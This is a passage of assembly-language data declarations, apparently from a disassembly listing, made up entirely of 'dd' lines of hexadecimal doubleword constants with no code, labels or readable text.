		dd 0F399F4E6h, 0F74A18E5h, 78C209DBh, 8D66B30Fh, 0F42E60FEh
		dd 3C1C2AB8h, 0A80E801h, 0DD755B6Ch, 4D623EBBh,	180F9F59h
		dd 345CF7E1h, 2C2D2A07h, 0C052C344h, 3271BC78h,	2E763A59h
		dd 15616900h, 0F29C795Fh, 0E17501F6h, 532D0A72h, 0E82F604Dh
		dd 0A4598424h, 0AB22EC03h, 0D631E066h, 14620761h, 804C15B4h
		dd 0EF7D2618h, 11BC6C03h, 18B63871h, 20231208h,	7D008D8Fh
		dd 4DF69FB4h, 142C98E6h, 6441DBEEh, 7A4350BCh, 560C9600h
		dd 0B7BF3562h, 0ED5A431Fh, 0D69B6C03h, 4D4800F9h, 883A3F72h
		dd 0BB034A5Fh, 4C96EE0Dh, 9D41E27Ah, 806F91CCh,	0F519B03Ch
		dd 40D8DC14h, 82B25060h, 0B6056FEEh, 4575390Ch,	0F15A9000h
		dd 3F03AC6h, 9606A22h, 0BB06415h, 0AC0EE19Fh, 0BFD3D8F4h
		dd 4EC61440h, 0F8226h, 0ED6E90BAh, 0A6361510h, 5188B400h
		dd 97202189h, 94340048h, 561C471Eh, 8C007A37h, 777DB5D0h
		dd 8D4D75h, 0DC7B5327h,	5E58D6A7h, 8F85DA00h, 0CD3D1FD2h
		dd 40C53A0h, 0DBC4E0EFh, 0FFDC42FDh, 739064A0h,	4F10EF60h
		dd 60F81Dh, 0FC2F22C7h,	0DA5943D3h, 981A8E3Ch, 0A619C6D5h
		dd 1E160F3Dh, 81841BFDh, 19100C5h, 30DBC30Ah, 6161B9F5h
		dd 0D0660550h, 79D920h,	5C9A9319h, 0FE1BF7EFh, 8A781100h
		dd 9E67ECAAh, 0F8243E68h, 8A7AD0Eh, 76C2E0E0h, 0A40096FFh
		dd 45F4430Ch, 1042E5Fh,	0C4F24DC0h, 7263613h, 0EBBD82C0h
		dd 7C2F0244h, 2276957Fh, 0A6F04080h, 0EB0098E7h, 0C6E28A8Dh
		dd 3F97DC27h, 728094E1h, 30BC7884h, 0BF037611h,	8275D8A3h
		dd 4EB8002Ah, 0E72CECC4h, 8E009E53h, 687FC959h,	14447E15h
		dd 34A0AF48h, 63569607h, 0F7C1350h, 0C49CF900h,	0C77DE704h
		dd 0EF8D0FEAh, 23801834h, 8C7C634Eh, 82024F00h,	77720F1Bh
		dd 7FEE00CBh, 348BD2D9h, 0E500C5FCh, 15C81926h,	1FAB9F0Ch
		dd 4591C4ECh, 0FE8F2Dh,	600D90ACh, 1254DECDh, 0AA03CAF0h
		dd 9C199967h, 90EFF23Bh, 1507EFCh, 0ED6D5437h, 4034EA45h
		dd 971AB089h, 608F643Ah
		dd 0E556DAE4h, 0EB8D00E8h, 18993361h, 0F553FBC3h, 52F01024h
		dd 0A7879E88h, 904A7BBEh, 961F8901h, 15E4F323h,	0D2100075h
		dd 6F5D58E0h, 1901FC40h, 8B8CEAEBh, 7EC0E106h, 0D0D40089h
		dd 1C971BE9h, 0F100DDD7h, 51EB1A45h, 9A2470h, 0C292445Eh
		dd 19AA918Fh, 8B07127Ah, 7788F915h, 10AE2F70h, 634F2BC1h
		dd 6218047Ch, 7B8C04ECh, 68D6E142h, 0B7888440h,	87AA4101h
		dd 66143A2Ah, 51D7C8h, 5F4003E3h, 7AC2EB36h, 11844D00h
		dd 0F1613FF3h, 2DD70EF4h, 78263EDh, 2440CD82h, 0D8E7754Eh
		dd 6219789Fh, 7F188F48h, 3AB93ED8h, 0F500EE3Ch,	0EE655BFh
		dd 200065C8h, 2D3FB113h, 39C51BD0h, 3B8FF882h, 228F0C09h
		dd 65AA05A0h, 0A91DA411h, 77E53ECh, 63C48092h, 396E9710h
		dd 61E1FA3h, 239D8148h,	0D8C12C0Bh, 8600503Dh, 20582DBDh
		dd 703F6705h, 6801600Dh, 0AAB0B99Ah, 5E0078FAh,	0A34BEB9Bh
		dd 0EBEC1E7Dh, 1C983CCh, 0ACD1BC89h, 0A3F17F7h,	0C39F3Ah
		dd 0D2952EDCh, 0C0D43087h, 6A51E429h, 131E8035h, 5340AD83h
		dd 0F0EEC549h, 0A9F656h, 63463675h, 338B861Dh, 1A8CE250h
		dd 51BB4F0Dh, 92F8B895h, 0AD590028h, 0A3EDFC5Dh, 7307143Fh
		dd 0D972628Fh, 47AB79A0h, 0C988A067h, 0D55A01A9h, 0A76ABF87h
		dd 8076C151h, 119D0891h, 788274CEh, 0DDD0C046h,	0DC806D86h
		dd 0E952CD73h, 0A87C78C4h, 0DE22AB00h, 891F3B9Eh, 0B92D00C7h
		dd 0CFDAECB4h, 130603E6h, 2BA81422h, 0C43205B8h, 0ADD55Fh
		dd 0B42348DCh, 5118F2BCh, 9E7063F5h, 0EF1D0C14h, 86819902h
		dd 0A81BFF03h, 6094A193h, 5EF148F0h, 0C588D1D5h, 0B914189Dh
		dd 3B4D281Ah, 3F62340h,	322FE54Fh, 6811C7ADh, 0EC015401h
		dd 97B4F67Ah, 435F0FDh,	23E918D8h, 0CA6B009Ch, 6C20F432h
		dd 5E0049E6h, 2FA058C5h, 0CBBF38h, 0FA47CB9h, 0BE2ED9BDh
		dd 438F2307h, 79D0101Eh, 7C4989Dh, 46B8296Ah, 0BADAF015h
		dd 11E20CB5h, 4800FE70h, 3FEEFB57h, 7A266DCh, 5C6C4ABFh
		dd 0E142B045h, 101D800Dh, 7985B67h, 0F04D58h, 68AC2AB4h
		dd 0D31A9EB6h, 0F45C800h, 0A6832E90h, 1F06F8AAh, 7534C9Bh
		dd 400CB92Ch, 621FCABAh, 741D1977h, 1C427C46h, 7793E7F9h
		dd 16B09CE3h, 15186D39h, 83107A0Bh, 854D1911h, 0D4B970B7h
		dd 8007291h, 77A87C2h, 0DFF5F2h, 7D6E03FFh, 21AD0FCCh
		dd 0B70B3026h, 6C3F3700h, 69A1891h, 0E1B0FCAFh,	1D505842h
		dd 9707D690h, 2488BC77h, 0A25D5CF0h, 9AC40037h,	2B4D18F2h
		dd 36005589h, 44C95B34h, 1F8A200Ah, 0C05ECCA3h,	3BF2661Eh
		dd 0B4F80BA1h, 0BF2B010Eh, 0AFC7C0E2h, 5D1870h,	87BB109Ah
		dd 0A3765523h, 80891D39h, 583150Bh, 3E41264Bh, 0B3920FC7h
		dd 0F31A04EAh, 7101C123h, 918BC73h, 0D13A49h, 601B2B9Dh
		dd 0E42900FBh, 16AA0D98h, 0EEE4337Ah, 0B197703Eh, 6F4B10B2h
		dd 6CA5FE4h, 1DBACDFDh,	0A0C11815h, 4C972204h, 14DF3088h
		dd 0B3754100h, 1CD7D5F0h, 83A52012h, 72D71A7h, 93E69DC8h
		dd 6BE01400h, 0FDBCE596h, 0F4E800F3h, 8A6FC441h, 0F5012D1Ah
		dd 2A9BD6A2h, 94FC1085h, 1216DD07h, 0A41CBDh, 63CEA3C2h
		dd 2A003E22h, 9B8664DDh, 1F0A329Eh, 0A8A147Fh, 14909258h
		dd 2B03A320h, 55084546h, 0D032F5F9h, 0F0020D81h, 1F2ABC2Dh
		dd 8CA880E1h, 1C4DA9CBh, 0D522C242h, 7100D45Eh,	0CCE6FB4Ch
		dd 540ABCDCh, 0C001A578h, 4FD59982h, 0B4E8A0DDh, 25F460h
		dd 85085CC7h, 48956BE5h, 7DAD49C7h, 1AF13B31h, 0C514D0E3h
		dd 56170094h, 0E3891ECCh, 400C8A4Eh, 6146B919h,	155F18E0h
		dd 0DEE2282Ah, 3E2848D8h, 50BE6F30h, 3C06DA61h,	89202416h
		dd 8060C900h, 0A0CA3379h, 0B42D0D98h, 8321A33Ch, 17968278h
		dd 4C4CC51Ah, 2057292Ah, 2C060A5Bh, 3798829Bh, 5A863360h
		dd 0E050B418h, 5E07E94Ch, 0BE37338Ah, 153BB380h, 0E05F04C2h
		dd 80E3AB51h, 293EE740h, 5825CB0Ah, 0AD9E8882h,	600A003Fh
		dd 154A40C3h, 3BF9724Ch, 923F2C62h, 69715E09h, 49A5A000h
		dd 2200EE2Fh, 6DB04607h, 1562ECDh, 0E17B6CCEh, 0D0DA0840h
		dd 0FC12ED20h, 0AC402386h, 6A2501D7h, 22F93DBCh, 10731D80h
		dd 0D39D4255h, 852A30Ah, 0D68CBC0Eh, 48D88CDBh,	0C3A2056h
		dd 65008849h, 5782D904h, 4750C5D1h, 0D2246180h,	239478F3h
		dd 24EA24ABh, 0E80C51Fh, 4D7303DBh, 0EE4815h, 3181D680h
		dd 0F609DCD3h, 200342B8h, 0A827F208h, 715492DFh, 7C6F0D41h
		dd 98217E72h, 9CF19998h, 0AFF900EFh, 541795FFh,	7B0E608Ch
		dd 0C071A0FDh, 0C88A941Ah, 60D09249h, 2CA3D8C0h, 0E90108BAh
		dd 0AD328A4h, 37F1B78Dh, 24C044EEh, 870C0931h, 84C93BA7h
		dd 67F08141h, 0F8558Eh,	40BA13A7h, 1514D4A5h, 36C8736h
		dd 0BF268C49h, 23701ECEh, 4DDE0EB8h, 0BEDB41A3h, 7BC209Dh
		dd 0D550790Eh, 2A015F90h, 0EBEF9875h, 0BED2995Eh, 0ACED0F18h
		dd 9403C961h, 7FB8239Bh, 82383DBFh, 0C092FB49h,	0A6950B00h
		dd 36DAE435h, 0C80C045Fh, 808223DFh, 0DC557E8Ch, 0BE0FB779h
		dd 23124043h, 5B7BA9h, 0CE0C36E9h, 1A4A0D4Fh, 40A0627Dh
		dd 0A2014535h, 0AC15794Ch, 69E1960Ch, 79BE0BF9h, 4A71472h
		dd 0DC40D06Ch, 8CD3405Dh, 430CA012h, 0E1075004h, 3C001CD5h
		dd 4411637Ch, 793906A6h, 887F5D58h, 22381901h, 84F68E5Eh
		dd 0A64698DBh, 5AC63FACh, 317CB801h, 8294E313h,	0D00851F0h
		dd 0D66060A2h, 0B2440328h, 0CD825639h, 737D03B4h, 0BE24C0E1h
		dd 0CAAC000Bh, 0CB94743Eh, 0B60BA337h, 1F2ABECh, 0B1E549A3h
		dd 18CD3C34h, 38E2C266h, 0AB00486Ah, 0B07405E1h, 2FC6C94h
		dd 49764ADEh, 0D0850B14h, 60833E0h, 5A1079EAh, 6BE20F21h
		dd 898173B8h, 0D806744Ah, 0C50070A2h, 5694F6D6h, 5FA23E6h
		dd 0A92A7195h, 0EA284045h, 283E9621h, 988BA3Bh,	7B25D0h
		dd 0BEB8C6C0h, 0BEA1Ah,	3D385202h, 0A486CD44h, 46A7480Fh
		dd 0D4094A32h, 586BAE03h, 9218D604h, 0CA5121FCh, 51216E88h
		dd 6001FEBAh, 0FC2497D2h, 0EF9B03B3h, 16BFCE88h, 0D6C890DDh
		dd 0A7282FFEh, 0CA05D85Dh, 88DA36B3h, 954DA800h, 0FC2D3C3Eh
		dd 4CE500E7h, 9419495Dh, 0D50C6272h, 79DB6401h,	7A1100A3h
		dd 68E2BD60h, 0C4FF3988h, 22284FD6h, 2701FCC6h,	11C808B8h
		dd 0E860A62Fh, 0D93161BDh, 0F355077Ch, 3AF44805h, 945F6438h
		dd 4D512640h, 25FDC9h, 148C0EA7h, 0E6CC8703h, 0A0C5530Ah
		dd 124208DAh, 540518D8h, 0C408BB04h, 0C809C68h,	18950A2h
		dd 302BEB88h, 4F19CC40h, 0DDC01644h, 0B015D428h, 0EF5B00C8h
		dd 5D53453h, 0FE026A22h, 0A2C4711Bh, 2E6CC18Ch,	0DD563888h
		dd 9B22394h, 20023541h,	0FF152A58h, 7BE92AF2h, 9B2EED0h
		dd 255D54E5h, 0E49CC818h, 0D0265A2Ch, 0ACA78807h, 0AE42CCEAh
		dd 24B0B423h, 82A47C67h, 0A82A0EBCh, 0A5BAA4A1h, 0B8CC4018h
		dd 0B33B1A8Dh, 8BBE801Fh, 0F8114336h, 8D652FDh,	0B80FDF23h
		dd 0A24E9DCh, 0B000CC7Ch, 0D9CC6DCDh, 0E5F03AEAh, 2489409h
		dd 0E8A7D021h, 99CC34B6h, 0AC5C2BEAh, 3EFC5138h, 0CC73F704h
		dd 703F4CCAh, 392294C0h, 0F5F73165h, 87D44249h,	44AD631h
		dd 2BAFAE1h, 0F5CBEF4h,	0A36E1863h, 3D86B960h, 0F613CA53h
		dd 5000B6A4h, 7B36B214h, 0DFAB1F57h, 88FACC5Ah,	8F00E768h
		dd 792FCD70h, 24C8D435h, 16B48352h, 0B03814AAh,	2AF16DDh
		dd 0D9F069A0h, 0D411508Bh
		dd 1284201Ch, 19441649h, 439AB94Ch, 38BA1882h, 55E0733Ch
		dd 0DD3A6A9Eh, 0D5BB8B40h, 0EF8080FDh, 62E90E7h, 0A2A43AEEh
		dd 910019E4h, 0F96FAA3Ch, 2E7CBAh, 5746C7D1h, 58956ED7h
		dd 2691A602h, 0C95941F3h, 9BD55048h, 54D48821h,	0D1930156h
		dd 0EF38E48Ah, 95F3C41Ah, 70E2680Ah, 3050C0CFh,	0CA598039h
		dd 9DFEAF24h, 1032BC00h, 21F5C16h, 0E0AB5D8Eh, 98431E8Fh
		dd 0F882A6D2h, 18A234C9h, 30966F27h, 43CE020h, 57F915D6h
		dd 0D8C0835Eh, 0D4D07C89h, 0AB00784Dh, 0DA0D2552h, 3BCAF048h
		dd 55B8D7ADh, 4783E58h,	0AEFDD360h, 0C0A087EAh,	3C71BD02h
		dd 2A6EBC3Eh, 75200C3Eh, 0A331315Ch, 701D5689h,	0CD5C794Bh
		dd 488D5004h, 80D97E3Eh, 0AEE9C1EDh, 0F246D76Fh, 0B4B55C44h
		dd 0A9363E0Ah, 5A9401E9h, 0D49A7FFAh, 0D0A083B6h, 0CD2E7ABDh
		dd 0CB007E58h, 0F26CA8A3h, 0D878D06Ah, 8F4E814h, 0A1DA8807h
		dd 904BD9A4h, 29EBBDE8h, 6E40A0C0h, 985ADAA5h, 2CB02DCh
		dd 3C641AE0h, 6101A444h, 0DBC05544h, 0BCD55C10h, 89F841F2h
		dd 27D5E18Eh, 19EE56C1h, 5BD04048h, 50C00A62h, 4FE89335h
		dd 767912A6h, 42640FADh, 728B439Dh, 3ED0B59h, 0AB97359Ch
		dd 0A7BC282Eh, 91BEEF00h, 782632h, 100E0193h, 0EAF12B20h
		dd 7FD6CF0Fh, 806A0BB0h, 0A7C5D294h, 0BE2C00D8h, 0CA019482h
		dd 1500FE44h, 0AB79EB4Dh, 784FDFF6h, 0B479BAh, 0F8891B7h
		dd 1BC6B343h, 73DE9200h, 0C33A2DF1h, 0BD5C1F3Ch, 553E4069h
		dd 0AFC11D74h, 36BBE91Eh, 5DF67380h, 0EA56D30h,	0F228E71Bh
		dd 4B59BDE0h, 0B9001FB4h, 27946147h, 0A65593h, 96045D32h
		dd 7AC418ADh, 9866B000h, 9D736D8Bh, 53620BB6h, 50A0799Eh
		dd 0E15D4084h, 1360571Dh, 90C9FF40h, 7E8A5F61h,	6FEC03h
		dd 5A7C2DF4h, 0EFADC0BFh, 38FCB600h, 0C2F3330Ch, 508B1815h
		dd 36DE98FAh, 89070F7Eh, 3E34294Eh, 86B75460h, 1F84007Ah
		dd 5D054C45h, 7C0F89A2h, 402855E9h, 1CA8CFC4h, 1F64006Ah
		dd 296167Eh, 0B11C290Ch, 2B408C6Bh, 9D2E75Bh, 27550094h
		dd 0AF7D62F6h, 0BE002618h, 0A1E077E1h, 41FD23h,	0E1B5215h
		dd 0C2AF89F5h, 8275C100h, 665E714Ch, 18EB00EAh,	40AC1114h
		dd 424EB148h, 88CDDC00h, 3E12Ch, 85E70BFh, 0D1B08F75h
		dd 0F1814C00h, 0FFBDE3CFh, 0CAF20314h, 0A41246DBh, 6956A1B8h
		dd 390B2C0Eh, 82F6808Dh, 1F6CF873h, 4011414Dh, 0C47F9E8Ch
		dd 6F00A475h, 0A02DF3C8h, 7A7CD78h, 0E5184CB9h,	39DD02Fh
		dd 5E773F7Fh, 0F5846303h, 8396CC72h, 0B3D9D014h, 0DF9C00BFh
		dd 3D5F8929h, 0E77BDDAFh, 8A303800h, 0BF2824FAh, 0ACA20010h
		dd 0C5149B23h, 8E00F07Eh, 2504F74Eh, 0F0609A6Fh, 0CC75A9h
		dd 5B9C636Ah, 7C02A68Ch, 0BE514503h, 0C805060Dh, 34EB914h
		dd 0B4F45817h, 603C445Ah, 0DFF20033h, 0E789F084h, 4D6D03B7h
		dd 38575FA0h, 63EF9EE0h, 49F27B00h, 21E418FEh, 0A0890056h
		dd 268D3CE9h, 0B75C4B6h, 9C78EB00h, 0AB107596h,	0EAAE76CAh
		dd 0B6B800B1h, 0F8D7E28Ch, 5F00D2FEh, 0F13B5CF4h, 3CF29A01h
		dd 32001486h, 62CEAFE1h, 5B004133h, 3F0E5468h, 0FC6429h
		dd 303ED63Ch, 474D3B22h, 0C30666F6h, 73D58DF8h,	1DDA0310h
		dd 6A3F33D0h, 0E85D2B98h, 856F533Ah, 0A3F5237Bh, 66BF01C0h
		dd 93D60057h, 0E6783C9Ch, 0EBFC9B7Fh, 4D00C0B0h, 594834E2h
		dd 2754B615h, 5AFC25FBh, 69F16C30h, 0A6A800C2h,	8232831h
		dd 0CC1E8914h, 0AD1630BFh, 0D5DB6403h, 7120881Ch, 0AE2B0004h
		dd 8994D079h, 34067FC3h, 0F1D26752h, 0ED1F0089h, 0B82FABF2h
		dd 1E076353h, 6075B728h, 1030BCBEh, 35B47A5h, 79E645DBh
		dd 290074B5h, 991744CCh, 24B6EDh, 2E9D2A4h, 9FCBE7BFh
		dd 0CD36C301h, 9CC316Ah, 18D817E4h, 780B9454h, 6BFAC738h
		dd 0EF7FED00h, 809FAAB7h, 0EAE100F9h, 4081017Dh, 47003392h
		dd 0EC2F4A25h, 71D0393Fh, 0C3F024h, 32FF4F35h, 7ACBB6DFh
		dd 0C7CC2F00h, 1DBCFA29h, 2B903DE2h, 0C9331600h, 5F764ABFh
		dd 8628AC62h, 510C099h,	9DEF0E20h, 0B5CF4BB9h, 0C9C183E0h
		dd 7F05469Fh, 5D4D513Ah, 187A02C0h, 3C5B796Fh, 5E0EE509h
		dd 0E46069ACh, 38E98D7Fh, 15251F0Fh, 27646010h,	1E1D80B0h
		dd 41ABCDC2h, 0C6819E1Ah, 0A70F70BFh, 586E7E3Dh, 0F45000ABh
		dd 69D32EA9h, 30060067h, 0B39EFE19h, 0DC00F2CAh, 433837A8h
		dd 0E55451h, 9BF1DDB9h,	41AFAA6h, 7C478501h, 0B76EED63h
		dd 14F0FF8h, 6651EED0h,	20D1C667h, 89007A7Eh, 8DDC5241h
		dd 24F27F7Eh, 3C9D70h, 1059472Ah, 0E30049CAh, 0BC8D283Bh
		dd 4A35A6h, 0BD7FD5F7h,	55AF0575h, 258FE500h, 0F2857BCAh
		dd 5019011Dh, 2A7F0CC1h, 0EEEBECFFh, 4A3E0E7Dh,	27FB0070h
		dd 0D6EA29Eh, 90E503E9h, 0D9376AAAh, 0A240199Ah, 997E4D58h
		dd 8ECC0301h, 1F7CF3E1h, 0ED8520h, 5F6336D2h, 50A66B2Ah
		dd 1CE9B03Eh, 0E01F5BDEh, 6EC9B480h, 50840F0Bh,	51AC90h
		dd 41F76B18h, 38DEA522h, 0EECF0702h, 48ABD8E7h,	9151F0h
		dd 8EF1E71h, 0CD3480E4h, 805D4F39h, 0D02582E1h,	0FDD823h
		dd 0B0E54675h, 6EDA9ECFh, 4C06B09h, 0C5FC8098h,	85788Ch
		dd 3208BF25h, 0E29BC7ABh, 0F5217900h, 8F7CF936h, 82B70027h
		dd 0EF934902h, 1A00564Ah, 19A901Eh, 0A029E0h, 64ABE244h
		dd 0ECAF60C8h, 37F68100h, 8EA3EB2Bh, 26F43B54h,	1B96DB80h
		dd 13472EB7h, 9E906D90h, 0CBBAC16h, 0F6652000h,	0C057EBh
		dd 315F3658h, 9C8C3A64h, 0C941B000h, 9E840A54h,	0D2170790h
		dd 0F066C320h, 651ADE56h, 4AE1C004h, 4D0A07Fh, 3F1898h
		dd 60945949h, 8E9E288h,	69FCD100h, 81D22190h, 57950047h
		dd 9316ED2Bh, 41008DF0h, 0B1135F84h, 0E4EE9924h, 31A20067h
		dd 0FBD98F49h, 6609AA08h, 83391483h, 0C0655D0Ch, 0C738CA4Ah
		dd 82442510h, 202CF8B4h, 19E26Eh, 2F22ACC8h, 0C56FCBC0h
		dd 3D03FA1Dh, 0BEB96000h, 25EC58h, 64B357D4h, 3294C823h
		dd 0BD243907h, 50CC85F3h, 0C7FD30DFh, 220205E1h, 0D1799A0Ch
		dd 0A6F68E8h, 0BCB8D6EBh, 80769018h, 1320FA03h,	0C038C1CCh
		dd 52C59F05h, 1CA0BD10h, 2A655C71h, 0B2ECCB00h,	94AE6996h
		dd 0C150013h, 2D6FA00Ah, 7E0056CDh, 0F1EDBED6h,	17F82Fh
		dd 0C2667BC4h, 20B12C21h, 0CE11600h, 2EFC0C7h, 53AB1E69h
		dd 0A2B38010h, 0A7421BFDh, 460DBD00h, 0E68D52BEh, 9196F3B9h
		dd 9BA828h, 0E55A43D7h,	0EEE7543Dh, 73CFEDFh, 73E08E0h
		dd 93B7D772h, 390038B8h, 0D9A5D494h, 0D0B999h, 0B2560C60h
		dd 6D79F907h, 1600F278h, 698F0E3h, 126501C6h, 61C728h
		dd 3684C3D8h, 0FF7EDF4Dh, 67043702h, 0A1FD328Bh, 0DBC4C78Ch
		dd 9BA96880h, 69E703B2h, 0E56C7000h, 79717B14h,	67F70097h
		dd 3CCB9A44h, 7F80D11h,	98932806h, 48A068h, 5CACBB6Ah
		dd 0F9B2590h, 0FB5073Fh, 8C896C53h, 196C87Ch, 2DFD29A2h
		dd 0CC137344h, 874C500Ch, 9CC81FC2h, 0B2AD6DC0h, 7C8675h
		dd 8D3433DBh, 69A6642Fh, 0C077B0CFh, 0B5EAF33Eh, 4BF8ECh
		dd 0BECFA7C3h, 197D1A5Ch, 1ECE170Fh, 3218E02h, 808B52B8h
		dd 0EAB80E3h, 3C69BA34h, 93879F69h, 0F4801E91h,	8393B6A6h
		dd 38E30101h, 52E0BEEAh, 0E071BE4h, 56DBEB9Ch, 0B015D887h
		dd 0BEB2CAC2h, 3483C00h, 777DDAD9h, 574B1642h, 609C039Ch
		dd 8DEA39Fh, 2022E430h
		dd 565237h, 1EA016B7h, 943DD174h, 3A2C1922h, 0F91F2909h
		dd 0AC600D3h, 0B36C11CCh, 1B2CC103h, 7C266918h,	6FB70010h
		dd 0D23C7077h, 40A0D62Fh, 9E115761h, 0FA8C960Bh, 4800F521h
		dd 73AF2656h, 0ECB9F655h, 60B3305Eh, 0C5FE1381h, 0D167FF00h
		dd 3A2FC4ADh, 0E3757F5Ah, 0E866802Ah, 930C895Bh, 0A89DC528h
		dd 47E32C44h, 2FBB00F0h, 858D2B75h, 0B1C12D07h,	9F333723h
		dd 8E100054h, 0B7105015h, 9C09B0BCh, 5ED1CB84h,	2CA200CDh
		dd 0E0E1805Ah, 0C2CE1300h, 726B24A6h, 0E38D005Dh, 0C4B223D2h
		dd 2C3E579Ah, 24968195h, 90543252h, 39FBFC20h, 5C01464Bh
		dd 78DEF8CFh, 0BA55C4D9h, 773F2Ch, 0D7C0471Fh, 7C32DE4h
		dd 76830E1Bh, 3C1126h, 55BD518Eh, 6F46457h, 70E6143Fh
		dd 1FCCF909h, 97F50382h, 89CF9360h, 0C6C06835h,	0A1D80014h
		dd 0C79EC4C9h, 0CC00C106h, 4BA9E796h, 0AED7DAh,	80D5E997h
		dd 89ACD68Ah, 0CAB780BFh, 7209A14Eh, 7BEE84h, 0FAB57F03h
		dd 0A7AB68D9h, 6DE68500h, 67720F7Ah, 0B9CA00CCh, 0A6EFEE03h
		dd 390EFFD2h, 8F876F3Ch, 71451EEBh, 7F8028A0h, 0CEF9E15h
		dd 87D8CE38h, 0AB907D68h, 4300CF70h, 12B82B4Fh,	150D418h
		dd 130E73DAh, 0FC6CA45Fh, 66008AEEh, 0BA67C463h, 0CB8AA17h
		dd 0D0D48EDDh, 0ED008C50h, 347A4F19h, 1D13DBFh,	81EE6604h
		dd 8ED3D20Dh, 20E86B71h, 85013BDCh, 0CF500031h,	2C93B3CBh
		dd 0B10023DDh, 0E72F38D2h, 6051661Bh, 55B5386Eh, 240006FAh
		dd 953B1FF9h, 0F2A9CDF6h, 6E3100F3h, 8C8A1E85h,	6A7A28DCh
		dd 0D3B1BC00h, 0C14F77E4h, 6961009Bh, 0CF3999D0h, 0E0FC48Ah
		dd 0A026FF71h, 6122F741h, 0ED180754h, 43A12821h, 96B07EC9h
		dd 0AA001443h, 0BCEF4D1h, 4CF90h, 0F5A8C40Dh, 1FDF4680h
		dd 0AA78A0Ch, 1DC18A5h,	7E4979EEh, 0E448216Fh, 627C9E50h
		dd 0F12428C2h, 1E2FC0B4h, 15C618A9h, 6DC418DDh,	0BBCFC039h
		dd 6F9B8437h, 0DC077678h, 0CD2BC06Eh, 0A739D934h, 696BFEh
		dd 7BA0619Fh, 0E81E0321h, 295AFFA1h, 0C4381CE0h, 6D23C0C1h
		dd 7DDF30A5h, 402F0081h, 9A88F720h, 0FC0598D9h,	0D654C7D8h
		dd 937490C0h, 101F81Eh,	433ED7B4h, 0FB9D535Dh, 0ECF9411Fh
		dd 8C2998F0h, 63B200B8h, 1715F2FEh, 0F000C231h,	0D6D70ECEh
		dd 0FB496Bh, 0D86A5AEAh, 80847F5Ch, 0D58A3C00h,	3B519344h
		dd 53F800C8h, 542BE9CEh, 6C00EAA8h, 29839A3Ch, 0CC240C88h
		dd 5215208h, 9D6A9B00h,	0C8AC17B3h, 517E3EBFh, 41074800h
		dd 27C24C61h, 0C7027CF0h, 1CB80C22h, 0D0100017h, 0E40CC30Dh
		dd 51FADF2Bh, 229B0056h, 4EE6706h, 0F4B0E296h, 0D01B0200h
		dd 0F7D0BA5h, 53DE032Ch, 0B6C00330h, 57544000h,	958C1065h
		dd 334A005Dh, 4170D30Bh, 847B31A1h, 0C030946Fh,	472BE720h
		dd 0B68007Eh, 82129F08h, 51645765h, 5A074820h, 0EC891186h
		dd 0F4108049h, 7F59A463h, 0BCC40755h, 43E0BD48h, 0B800EC19h
		dd 594313FDh, 1E5083C3h, 96C589E4h, 3F1403F3h, 59025C6Fh
		dd 98264580h, 7E72C025h, 988C6BB5h, 9E070B00h, 2B0D5BB1h
		dd 18F23A1Eh, 844495DEh, 20E4C3C2h, 1B4EC1h, 0AD0323A9h
		dd 1D5B4A4Bh, 0F5EEE00h, 8762533Ah, 0EDB5009Ah,	0FC64954Ch
		dd 8A38854Fh, 34420E67h, 1B3D071Eh, 17995940h, 54CA0093h
		dd 28C1C2F7h, 0D600BB31h, 77DF497Bh, 76E89094h,	6BFC00D4h
		dd 0E336F366h, 0E603B2CBh, 1A822654h, 4ABAA038h, 12E50005h
		dd 0B7AA8F2Fh, 0CA014361h, 345C6D74h, 0AA8FA74Dh, 89AB05CCh
		dd 0AEA0598Eh, 0D7B820F0h, 5092F201h, 0DB687357h, 1A876C8h
		dd 4F1B224Ah, 0D8AD3A8Bh, 260F281Eh, 0A5DD0E9Ah, 0B61F9308h
		dd 698252C3h, 893DF096h, 0A2791E8Ah, 8C78C0B5h,	622F993Ch
		dd 7B0F8D04h, 59C032FDh, 7FF795B6h, 0A06400D0h,	2E4B9E20h
		dd 1800686Fh, 77F1E183h, 61A250h, 37DF0386h, 0FEB5B86Dh
		dd 4C99C600h, 60F8F9Bh,	86850018h, 0B8769666h, 880CFF65h
		dd 70927CA6h, 82B00C0Dh, 5B118107h, 6B85A07h, 3B806C27h
		dd 0E886D657h, 5021C0EAh, 0A92B5C1Dh, 20821100h, 5DDFE3A3h
		dd 0DE6A03A2h, 2F19F09h, 0BB952F99h, 3CD580D1h,	0AAC81C08h
		dd 3D3018Ah, 46B0C69Fh,	3E3C500Ch, 271022B3h, 5FC8524Ch
		dd 312C8Bh, 0E5A61465h,	8F3A000Eh, 0BB364DC5h, 0C9EE8C87h
		dd 71D57C18h, 5D1E710h,	7612D2ABh, 0F38C00B1h, 622B5FA8h
		dd 0CA561900h, 0FEEE955Eh, 0C098072Fh, 20BC9E4Ch, 32C70775h
		dd 46008679h, 4887C403h, 4BDF0Dh, 3ABA4123h, 549CC7B9h
		dd 0D0176800h, 0BE2F130Ch, 1F89EC2Dh, 1E705C0Dh, 2E9A807Bh
		dd 0F22CE563h, 43FE971Eh, 1ACD6903h, 0F339C802h, 0D170037Eh
		dd 0FFDA7F0Fh, 80E62000h, 0BE515B19h, 25673EF2h, 8009CE1Eh
		dd 3B8B50D2h, 8A3CA2EBh, 0F3438189h, 1DBBD829h,	0F554F0h
		dd 0E7380735h, 0B8F975AFh, 653D2E00h, 0A8C12FCAh, 7489F05Ah
		dd 0D570740h, 0C137E8FDh, 0F02FCF20h, 6400F458h, 99B1CD81h
		dd 7D8F1D82h, 717E70h, 63651BC1h, 0EA5C0F1Ch, 0EC83AD07h
		dd 180F7ED6h, 18661941h, 0F82EF547h, 94013C8Ah,	0BD5DD376h
		dd 5E21F634h, 9C232980h, 0AC4CDB57h, 186A0600h,	446BD5C5h
		dd 1996005Bh, 0C657FA6Eh, 400077AFh, 0BAB3D824h, 171D74Eh
		dd 27D47BDEh, 405CE04Fh, 2AF0C480h, 6288A600h, 0CBB786CDh
		dd 0E8F88Ch, 7F3B6E0Fh,	8556A98Ah, 0B5682A00h, 0B3247DE6h
		dd 63B700DCh, 45D1D9A2h, 2CFE4D8Dh, 1200A6FCh, 126602Bh
		dd 0D81859h, 0E89F5E6Ch, 39C02980h, 0F8D08A00h,	0F7F54B05h
		dd 567B0081h, 6328B93h,	9003D1Bh, 0C5E6E8E4h, 0FA1692C6h
		dd 7F430BCEh, 1480624Eh, 0FE38E72Dh, 7B0FC979h,	608BCD78h
		dd 0B82E1EC4h, 0AA8900DFh, 0E2C007E4h, 62070D7Ch, 880FAF5Ah
